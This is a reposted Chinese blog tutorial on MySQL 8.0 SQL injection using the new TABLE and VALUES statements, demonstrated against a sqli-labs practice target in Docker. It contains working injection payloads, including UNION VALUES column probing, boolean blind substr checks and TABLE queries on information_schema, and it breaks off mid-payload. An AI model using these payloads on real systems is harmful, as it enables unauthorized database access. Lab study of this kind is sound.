MYSQL8.0注入新特性 | 您所在的位置:网站首页 › ubuntu2110新特性 › MYSQL8.0注入新特性 |
MYSQL8.0注入新特性 Macchiato / 2020-12-16 10:01:51 / 浏览数 12565 社区板块 WEB安全 顶(0) 踩(0) MYSQL8.0注入新特性之前看到过一些文章,但是没复现,最近在嘶吼CTF碰到题目了,所以记录一下 0x01 环境配置出现了两个新的关键字table和values,本来想用phpstudy搭建的,但是这两个出现在8.0.19之后..phpstudy只有8.0.12 选择使用docker搭建 docker pull mysql:8.0.22 docker run -itd -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22sql注入的靶场用sqli-lab https://github.com/c0ny1/vulstudy 按照文档搭建好,进入容器修改sqli-lab的配置文件,/app/sql-connections/db-creds.inc 数据库的IP填宿主机的就可以,通过ifconfig查看容器IP地址 比如容器IP为:172.18.0.2,一般来说宿主机为172.18.0.1 重新配置数据库 ,会报错,因为mysql8.0默认认证方式和5不一样,通过下面语句修改即可 ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';再次配置数据库,环境搭建完成 0x02 table先看一下官方文档 htt ps://dev.mysql.com/doc/refman/8.0/en/table.html TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]官方文档描述和TABLE和SELECT有类似的功能 可以列出表的详细内容 0x03 valueshttps://dev.mysql.com/doc/refman/8.0/en/values.html VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_indexvalues可以构造一个表 values可以接在union后面,可以判断列数 select * from users where id = 1 union values row(1,2,3)如果列数不对会报错 0x04 靶机测试修改Less-1的代码,过滤select ![]() 首先用order by判断列数 然后使用values判断回显的位置 http://192.168.163.130/Less-1/?id=-1' union values row(1,2,3)--+然后就是常规的需要知道库名,表名,字段名 当前库可以通过布尔盲注得到 1&&substr((database()),1,1)='c'别的库名可以通过盲注得到 table information_schema.schemata #列出所有数据库名因为table不能像select控制列数,除非列数一样的表,不然都回显不出来,也需要使用盲注 1&&('def','m','',4,5,6) |
CopyRight 2018-2019 实验室设备网 版权所有 |